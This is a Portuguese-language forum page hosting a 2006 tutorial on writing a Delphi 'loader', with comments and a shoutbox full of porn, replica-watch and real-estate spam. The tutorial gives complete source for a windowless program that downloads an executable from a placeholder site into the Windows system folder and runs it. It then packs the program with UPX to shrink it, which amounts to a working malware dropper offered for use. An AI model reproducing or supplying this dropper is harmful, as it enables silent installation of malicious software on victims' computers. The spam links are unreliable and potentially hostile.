Página Inicial · Artigos · Downloads · Fórum · Pesquisar Tuesday, August 03, 2021
ltimos Artigos
Criando um LOADER em...
Navegao
Página Inicial
Artigos
Downloads
Fórum
Contato
Imagens
Pesquisar
Tpicos do Frum
Tpicos mais novos
Hot new pictures eac...
Best Nude Playmates ...
enjoy new website
Daily updated super ...
enjoy new website
Tpicos mais acessados
Hot galleries, da... [9]
Template for foru... [7]
Note [7]
Enjoy our scandal... [6]
Hot new pictures ... [4]
Usurios Online
Visitantes Online: 2
Nenhum membro Online

Membros Registrados: 65,535
Mais novo membro: bnvijrn
ltimos usurios vistos
cleoem1801:25:09
agrohimtgc04:05:32
manuelaqp305:30:53
agrohimweq05:41:57
agrohimapx06:05:43
Patriotzgm 2 dias
Patriotdpc 2 dias
Patriotvlx 2 dias
Patriotkwi 2 dias
Patriotfyg 3 dias
Criando um LOADER em Delphi
Bom vamos lá!

Playing The Ramones - Do You Remember Rock ´n Roll R - 03:34/192Kbps/44.1Khz

Essa música você encontra aqui no site é o Tributo aos The Ramones :)

-------------------x-------------------

Abra seu Delphi.
Clique em File>Close All
Agora sem nenhum projeto aberto, vá em File>New>Other...
Selecione Console Application e dê Ok


Maximize a janela que apareceu no canto esquerdo embaixo.
Você vai ver isso:


Altere a linha
{$APPTYPE CONSOLE}
Para
{$APPTYPE GUI}
Isso fará que sua aplicação não rode em DOS e sim em Windows.

Agora vá em File>Save All e salve seu projeto em alguma pasta com o nome de Loader.dpr


Agora adicione os seguintes comandos
program Loader;

{$APPTYPE GUI}

uses
  Windows, UrlMon;

function Path_(Dir: string): string;
begin
  Result := Dir;
  if (Dir[Length(Dir)] <> '\') then
    Result := Dir + '\';
end;

function PASTA: string;
var
  MeuBuffer: Array [0..255] of Char;
  retorno: Integer;
begin
  retorno := GetSystemDirectory(@MeuBuffer, SizeOf(MeuBuffer));
  if (retorno > 128) or (retorno = 0) then
    PASTA := ''
  else
    PASTA := MeuBuffer;
end;

begin
  URLDownloadToFile(nil, 'http://seusite.com/programa.exe',
    PChar(Path_(PASTA) + 'nome.exe'), 0, nil);
  WinExec(PChar(Path_(PASTA) + 'nome.exe'), SW_NORMAL);
end.




Agora vá em Project>Build Loader
E será criado um arquivo chamado Loader.exe na pasta que você salvou o projeto.

Ele tem 15Kbytes.
Agora vamos deixá-lo com 9KB.

Baixe o UPX, caso você não tenha, nesse link aqui:
http://psy.freehostia.com/site/upxinterface.zip

E comprima o Loader.exe


Pronto, seu LOADER está feito.

Caso você deseje adicionar um ícone utilize o ResHacker para adicionar o ícone porém faça antes de comprimir com o UPX porque depois não dá mais...

Abraços :)

Comentrios
Google em September 12 2006 16:57:49
pqp q foda ahuauhauha 9kbytes!!smiley
Z3r0_Co0L em September 12 2006 19:58:29
Valeu... brigadao pelo loader!!! muito r0x!!!
soh nao pode ultilizar pra maldades... mas cada um usa como quer..
a proposito.. nao esquece q no upx tem q coloca o nome do .exe
em %file%
aqui soh funfou assim ;****
Lynn em November 13 2012 04:13:02
watches like spy digicam look at, breitling emergency mission replica layout watches with crystals, quarta motion watches, car specialised leather-based watches replica rolex , automobile specialised steel watches, adorable current view, Activity silicon bracelet check out cheap fake watches cheap fake watches , quarta motion look at with rubberband for women, trendy watertight quarta movements watches, steel quarta movements observe , digital observe, steel check out, adorable await current and many others. patek philippe complicated replica will be the best modern day samples of watches readily available. China watches can be found for several segments like sports activities view, official and casual watches, trendy watches and technological innovation watches for interaction and investigation glashutte original watches . Good Vogue and tech will be the motto guiding

Postar comentrio
Por favor logue-se no site para postar um comentrio.

Avaliao
Avaliao est disponvel para membros apenas.

Por favor efetue o login ou registre-se para votar.

timo! timo! 100% [3 Votos]
Muito Bom Muito Bom 0% [Sem avaliao]
Bom Bom 0% [Sem avaliao]
Regular Regular 0% [Sem avaliao]
Ruim Ruim 0% [Sem avaliao]
Login
Nome de usurio

Senha



No membro ainda?
Clique aqui para registrar-se.

Esqueceu sua senha?
Pea uma nova aqui.
Enquete
O que você achou do novo visual do site?

Tah bom pra caralho!

Tah melhor que o outro mas sei lá...

Hm.. tah igual o outro...

ah tah uma merda o otro tava melhor

nossa meo! puta lixo troca isso!

Voc deve logar-se para votar.
Shoutbox
Voc deve logar-se para postar uma mensagem.

aishaus60
30/06/2020 07:51
Girls of Desire: All babes in one place, crazy, art http://teensexcome.hotblo
gnetwork.com/?makaila boomer porn left 4 dead free hot porn for free savannah jane porn young tight latina porn m


roygh3
30/08/2018 21:24
My new number http://europe.meet.erolov
e.top/?gain.katerina shemale dating for free magazine articles on domestic violence christian singles free top dating sites in canada meet someone nz


charlieul69
07/12/2017 10:45
Chit my new engagement http://assjob.tobuy.in/?g
ain.breana erotic downloads sexy women erotic thoughts kamasutra erotic canvas art


violetzt60
22/08/2017 20:34
Gay blogging accommodation, Daily photos http://tranny.posts.pornp
ost.in/?post-gustavo


bwquaue
21/04/2017 17:12
warehouse for sale

mwfebmp
21/04/2017 17:04
commercial real estate Miami

axbdibx
21/04/2017 16:47
Miami commercial real estate

mmkkhle
21/04/2017 16:45
Miami commercial real estate

pudlkbt
21/04/2017 16:39
Miami commercial real estate

hjerjxf
21/04/2017 16:37
commercial real estate Miami

Arquivo Shoutbox
Copyright © 2006 Psychlo